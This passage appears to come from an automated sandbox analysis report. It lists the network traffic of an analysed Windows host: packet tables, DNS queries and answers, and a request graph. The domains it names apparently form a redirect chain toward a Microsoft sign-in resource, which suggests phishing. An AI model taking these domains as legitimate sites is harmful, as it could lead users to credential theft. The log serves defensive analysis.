Oct 19, 2024 00:14:38.061453104 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:38.061453104 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:38.062402010 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:38.062414885 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:38.074340105 CEST	443	50079	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.074609041 CEST	443	50079	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.075211048 CEST	50079	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:38.075346947 CEST	50079	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:38.075346947 CEST	50079	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:38.075361967 CEST	443	50079	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.075372934 CEST	443	50079	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.093657017 CEST	443	50080	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.093725920 CEST	443	50080	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.093854904 CEST	50080	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:38.094130039 CEST	50080	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:38.094130039 CEST	50080	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:38.094142914 CEST	443	50080	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.094152927 CEST	443	50080	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:40.104898930 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:40.104937077 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:40.105396986 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:40.105396986 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:40.105426073 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:40.966713905 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:40.966839075 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:40.968569040 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:40.968578100 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:40.968890905 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:40.970119953 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:41.011403084 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:41.255369902 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:41.255413055 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:41.255428076 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:41.255484104 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:41.255500078 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:41.255700111 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:41.376683950 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:41.376734972 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:41.376799107 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:41.376882076 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:41.376914024 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:41.377003908 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:41.377019882 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:41.377032042 CEST	50081	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:41.377038002 CEST	443	50081	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:50.326206923 CEST	49672	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:14:50.326534986 CEST	50082	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:14:50.326581001 CEST	443	50082	173.222.162.55	192.168.2.10
Oct 19, 2024 00:14:50.326678991 CEST	50082	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:14:50.327197075 CEST	50082	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:14:50.327209949 CEST	443	50082	173.222.162.55	192.168.2.10
Oct 19, 2024 00:14:50.634732962 CEST	49672	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:14:51.025676966 CEST	443	50082	173.222.162.55	192.168.2.10
Oct 19, 2024 00:14:51.025757074 CEST	50082	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:14:51.244159937 CEST	49672	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:14:52.447299957 CEST	49672	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:14:54.853496075 CEST	49672	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:14:59.667396069 CEST	49672	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:15:09.266815901 CEST	49672	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:15:10.180938005 CEST	443	50082	173.222.162.55	192.168.2.10
Oct 19, 2024 00:15:10.181056976 CEST	50082	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:15:19.913536072 CEST	50085	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:15:19.913599014 CEST	443	50085	142.250.186.132	192.168.2.10
Oct 19, 2024 00:15:19.913701057 CEST	50085	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:15:19.913909912 CEST	50085	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:15:19.913932085 CEST	443	50085	142.250.186.132	192.168.2.10
Oct 19, 2024 00:15:20.790450096 CEST	443	50085	142.250.186.132	192.168.2.10
Oct 19, 2024 00:15:20.792068958 CEST	50085	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:15:20.792138100 CEST	443	50085	142.250.186.132	192.168.2.10
Oct 19, 2024 00:15:20.792525053 CEST	443	50085	142.250.186.132	192.168.2.10
Oct 19, 2024 00:15:20.792871952 CEST	50085	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:15:20.792938948 CEST	443	50085	142.250.186.132	192.168.2.10
Oct 19, 2024 00:15:20.833043098 CEST	50085	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:15:30.806634903 CEST	443	50085	142.250.186.132	192.168.2.10
Oct 19, 2024 00:15:30.806706905 CEST	443	50085	142.250.186.132	192.168.2.10
Oct 19, 2024 00:15:30.806798935 CEST	50085	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:15:32.388844013 CEST	50085	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:15:32.388891935 CEST	443	50085	142.250.186.132	192.168.2.10
Oct 19, 2024 00:15:49.019236088 CEST	50055	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:15:49.024084091 CEST	53	50055	1.1.1.1	192.168.2.10
Oct 19, 2024 00:15:49.024182081 CEST	50055	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:15:49.024211884 CEST	50055	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:15:49.029036999 CEST	53	50055	1.1.1.1	192.168.2.10
Oct 19, 2024 00:15:49.618206978 CEST	53	50055	1.1.1.1	192.168.2.10
Oct 19, 2024 00:15:49.623218060 CEST	50055	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:15:49.628400087 CEST	53	50055	1.1.1.1	192.168.2.10
Oct 19, 2024 00:15:49.628551006 CEST	50055	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:16:19.968477964 CEST	50059	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:16:19.968533993 CEST	443	50059	142.250.186.132	192.168.2.10
Oct 19, 2024 00:16:19.968592882 CEST	50059	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:16:19.969722986 CEST	50059	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:16:19.969743967 CEST	443	50059	142.250.186.132	192.168.2.10
Oct 19, 2024 00:16:20.832423925 CEST	443	50059	142.250.186.132	192.168.2.10
Oct 19, 2024 00:16:20.832839966 CEST	50059	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:16:20.832880974 CEST	443	50059	142.250.186.132	192.168.2.10
Oct 19, 2024 00:16:20.833208084 CEST	443	50059	142.250.186.132	192.168.2.10
Oct 19, 2024 00:16:20.833511114 CEST	50059	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:16:20.833581924 CEST	443	50059	142.250.186.132	192.168.2.10
Oct 19, 2024 00:16:20.885292053 CEST	50059	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:16:30.832834959 CEST	443	50059	142.250.186.132	192.168.2.10
Oct 19, 2024 00:16:30.832926035 CEST	443	50059	142.250.186.132	192.168.2.10
Oct 19, 2024 00:16:30.832976103 CEST	50059	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:16:32.387831926 CEST	50059	443	192.168.2.10	142.250.186.132
Oct 19, 2024 00:16:32.387870073 CEST	443	50059	142.250.186.132	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 19, 2024 00:14:15.724710941 CEST	53280	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:15.724853039 CEST	53064	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:15.733839989 CEST	53	53280	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:15.735491037 CEST	53	56416	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:15.742038012 CEST	53	53064	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:15.812927008 CEST	53	56537	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:17.186629057 CEST	53	63458	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:17.193914890 CEST	56085	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:17.194075108 CEST	51363	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:17.202867985 CEST	53	51363	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:17.357202053 CEST	53	56085	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:18.924088955 CEST	59664	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:18.924258947 CEST	53361	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:18.937083006 CEST	53	53361	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:18.937576056 CEST	53	59664	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:19.840707064 CEST	53974	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:19.840915918 CEST	64885	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:19.848300934 CEST	53	64885	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:19.848387957 CEST	53	53974	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:22.395379066 CEST	54544	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:22.395699978 CEST	58652	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:22.432936907 CEST	53	58652	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:22.592463970 CEST	53	54544	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:29.233742952 CEST	50647	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:29.233901978 CEST	53713	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:29.242765903 CEST	53	53713	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:29.263885021 CEST	53	50647	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:30.727973938 CEST	55747	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:30.728204966 CEST	52390	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:30.737129927 CEST	53	52390	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:30.746217012 CEST	53	55747	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:30.860654116 CEST	65200	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:30.861025095 CEST	62740	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:30.869148016 CEST	62273	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:30.869288921 CEST	56881	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:30.869890928 CEST	53	65200	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:30.870263100 CEST	53	62740	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:30.879324913 CEST	53	56881	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:30.879503012 CEST	53	62273	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:30.887236118 CEST	65419	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:30.887370110 CEST	62889	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:31.035666943 CEST	53	65253	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:31.066793919 CEST	53	62889	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:31.068208933 CEST	53	65419	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:33.708019972 CEST	49841	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:33.708245039 CEST	51350	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:33.717178106 CEST	53	49841	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:33.718264103 CEST	53	51350	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:34.327663898 CEST	53	50694	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:35.074335098 CEST	54295	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:35.074532032 CEST	55479	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:14:35.081959009 CEST	53	54295	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:35.082268953 CEST	53	55479	1.1.1.1	192.168.2.10
Oct 19, 2024 00:14:40.501029015 CEST	138	138	192.168.2.10	192.168.2.255
Oct 19, 2024 00:14:53.285443068 CEST	53	52644	1.1.1.1	192.168.2.10
Oct 19, 2024 00:15:15.188589096 CEST	53	63231	1.1.1.1	192.168.2.10
Oct 19, 2024 00:15:16.734087944 CEST	53	61065	1.1.1.1	192.168.2.10
Oct 19, 2024 00:15:19.903074026 CEST	65283	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:15:19.903228998 CEST	56555	53	192.168.2.10	1.1.1.1
Oct 19, 2024 00:15:19.912494898 CEST	53	56555	1.1.1.1	192.168.2.10
Oct 19, 2024 00:15:19.912535906 CEST	53	65283	1.1.1.1	192.168.2.10
Oct 19, 2024 00:15:44.974174976 CEST	53	54633	1.1.1.1	192.168.2.10
Oct 19, 2024 00:15:49.018788099 CEST	53	58369	1.1.1.1	192.168.2.10

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 19, 2024 00:14:31.905632019 CEST	192.168.2.10	1.1.1.1	c2e2	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 19, 2024 00:14:15.724710941 CEST	192.168.2.10	1.1.1.1	0x30b	Standard query (0)	www.top50-solar.de	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:15.724853039 CEST	192.168.2.10	1.1.1.1	0x7e88	Standard query (0)	www.top50-solar.de	65	IN (0x0001)	false
Oct 19, 2024 00:14:17.193914890 CEST	192.168.2.10	1.1.1.1	0xef7c	Standard query (0)	coupons.digidip.net	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:17.194075108 CEST	192.168.2.10	1.1.1.1	0x4672	Standard query (0)	coupons.digidip.net	65	IN (0x0001)	false
Oct 19, 2024 00:14:18.924088955 CEST	192.168.2.10	1.1.1.1	0x3958	Standard query (0)	hr.queenmobile.net	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:18.924258947 CEST	192.168.2.10	1.1.1.1	0x29f4	Standard query (0)	hr.queenmobile.net	65	IN (0x0001)	false
Oct 19, 2024 00:14:19.840707064 CEST	192.168.2.10	1.1.1.1	0x639	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:19.840915918 CEST	192.168.2.10	1.1.1.1	0xbdf3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 19, 2024 00:14:22.395379066 CEST	192.168.2.10	1.1.1.1	0xf8ab	Standard query (0)	saloneliteco.com	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:22.395699978 CEST	192.168.2.10	1.1.1.1	0xc69d	Standard query (0)	saloneliteco.com	65	IN (0x0001)	false
Oct 19, 2024 00:14:29.233742952 CEST	192.168.2.10	1.1.1.1	0x284c	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:29.233901978 CEST	192.168.2.10	1.1.1.1	0xc02f	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Oct 19, 2024 00:14:30.727973938 CEST	192.168.2.10	1.1.1.1	0x64b7	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.728204966 CEST	192.168.2.10	1.1.1.1	0x66d0	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Oct 19, 2024 00:14:30.860654116 CEST	192.168.2.10	1.1.1.1	0xb678	Standard query (0)	www.w3schools.com	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.861025095 CEST	192.168.2.10	1.1.1.1	0x1ed0	Standard query (0)	www.w3schools.com	65	IN (0x0001)	false
Oct 19, 2024 00:14:30.869148016 CEST	192.168.2.10	1.1.1.1	0xd9e7	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.869288921 CEST	192.168.2.10	1.1.1.1	0xc398	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 19, 2024 00:14:30.887236118 CEST	192.168.2.10	1.1.1.1	0x8129	Standard query (0)	saloneliteco.com	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.887370110 CEST	192.168.2.10	1.1.1.1	0xfefe	Standard query (0)	saloneliteco.com	65	IN (0x0001)	false
Oct 19, 2024 00:14:33.708019972 CEST	192.168.2.10	1.1.1.1	0xb0cf	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:33.708245039 CEST	192.168.2.10	1.1.1.1	0x6988	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 19, 2024 00:14:35.074335098 CEST	192.168.2.10	1.1.1.1	0xce72	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:35.074532032 CEST	192.168.2.10	1.1.1.1	0xd987	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 19, 2024 00:15:19.903074026 CEST	192.168.2.10	1.1.1.1	0x57b4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:15:19.903228998 CEST	192.168.2.10	1.1.1.1	0x1775	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 19, 2024 00:13:44.428378105 CEST	1.1.1.1	192.168.2.10	0x57e1	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:13:44.428378105 CEST	1.1.1.1	192.168.2.10	0x57e1	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:06.753752947 CEST	1.1.1.1	192.168.2.10	0xcce0	No error (0)	templatesmetadata.office.net	templatesmetadata.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:15.733839989 CEST	1.1.1.1	192.168.2.10	0x30b	No error (0)	www.top50-solar.de		217.160.0.215	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:17.357202053 CEST	1.1.1.1	192.168.2.10	0xef7c	No error (0)	coupons.digidip.net		18.185.206.162	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:17.357202053 CEST	1.1.1.1	192.168.2.10	0xef7c	No error (0)	coupons.digidip.net		3.124.221.68	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:18.937083006 CEST	1.1.1.1	192.168.2.10	0x29f4	No error (0)	hr.queenmobile.net			65	IN (0x0001)	false
Oct 19, 2024 00:14:18.937576056 CEST	1.1.1.1	192.168.2.10	0x3958	No error (0)	hr.queenmobile.net		104.21.85.152	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:18.937576056 CEST	1.1.1.1	192.168.2.10	0x3958	No error (0)	hr.queenmobile.net		172.67.207.78	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:19.848300934 CEST	1.1.1.1	192.168.2.10	0xbdf3	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 19, 2024 00:14:19.848387957 CEST	1.1.1.1	192.168.2.10	0x639	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:22.592463970 CEST	1.1.1.1	192.168.2.10	0xf8ab	No error (0)	saloneliteco.com		203.170.84.122	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:29.242765903 CEST	1.1.1.1	192.168.2.10	0xc02f	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:29.263885021 CEST	1.1.1.1	192.168.2.10	0x284c	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:29.263885021 CEST	1.1.1.1	192.168.2.10	0x284c	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.89	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:29.263885021 CEST	1.1.1.1	192.168.2.10	0x284c	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.33	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:29.263885021 CEST	1.1.1.1	192.168.2.10	0x284c	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.78	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:29.263885021 CEST	1.1.1.1	192.168.2.10	0x284c	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.5	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.737129927 CEST	1.1.1.1	192.168.2.10	0x66d0	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:30.746217012 CEST	1.1.1.1	192.168.2.10	0x64b7	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:30.746217012 CEST	1.1.1.1	192.168.2.10	0x64b7	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.33	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.746217012 CEST	1.1.1.1	192.168.2.10	0x64b7	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.89	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.746217012 CEST	1.1.1.1	192.168.2.10	0x64b7	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.78	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.746217012 CEST	1.1.1.1	192.168.2.10	0x64b7	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.5	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.869890928 CEST	1.1.1.1	192.168.2.10	0xb678	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:30.869890928 CEST	1.1.1.1	192.168.2.10	0xb678	No error (0)	cs837.wac.edgecastcdn.net		192.229.133.221	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.870263100 CEST	1.1.1.1	192.168.2.10	0x1ed0	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:30.879324913 CEST	1.1.1.1	192.168.2.10	0xc398	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 19, 2024 00:14:30.879503012 CEST	1.1.1.1	192.168.2.10	0xd9e7	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.879503012 CEST	1.1.1.1	192.168.2.10	0xd9e7	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:30.956675053 CEST	1.1.1.1	192.168.2.10	0xd366	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:30.956675053 CEST	1.1.1.1	192.168.2.10	0xd366	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:31.068208933 CEST	1.1.1.1	192.168.2.10	0x8129	No error (0)	saloneliteco.com		203.170.84.122	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:31.884438038 CEST	1.1.1.1	192.168.2.10	0x51c	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:31.884438038 CEST	1.1.1.1	192.168.2.10	0x51c	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:33.262178898 CEST	1.1.1.1	192.168.2.10	0x1928	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:33.262178898 CEST	1.1.1.1	192.168.2.10	0x1928	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:33.717178106 CEST	1.1.1.1	192.168.2.10	0xb0cf	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:33.717178106 CEST	1.1.1.1	192.168.2.10	0xb0cf	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:33.717178106 CEST	1.1.1.1	192.168.2.10	0xb0cf	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:33.718264103 CEST	1.1.1.1	192.168.2.10	0x6988	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:33.718264103 CEST	1.1.1.1	192.168.2.10	0x6988	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:34.535038948 CEST	1.1.1.1	192.168.2.10	0xb4aa	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:34.535038948 CEST	1.1.1.1	192.168.2.10	0xb4aa	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:35.081959009 CEST	1.1.1.1	192.168.2.10	0xce72	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:35.081959009 CEST	1.1.1.1	192.168.2.10	0xce72	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:35.081959009 CEST	1.1.1.1	192.168.2.10	0xce72	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 19, 2024 00:14:35.082268953 CEST	1.1.1.1	192.168.2.10	0xd987	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:14:35.082268953 CEST	1.1.1.1	192.168.2.10	0xd987	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 00:15:19.912494898 CEST	1.1.1.1	192.168.2.10	0x1775	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 19, 2024 00:15:19.912535906 CEST	1.1.1.1	192.168.2.10	0x57b4	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

slscr.update.microsoft.com

www.top50-solar.de

coupons.digidip.net

hr.queenmobile.net

saloneliteco.com

https:

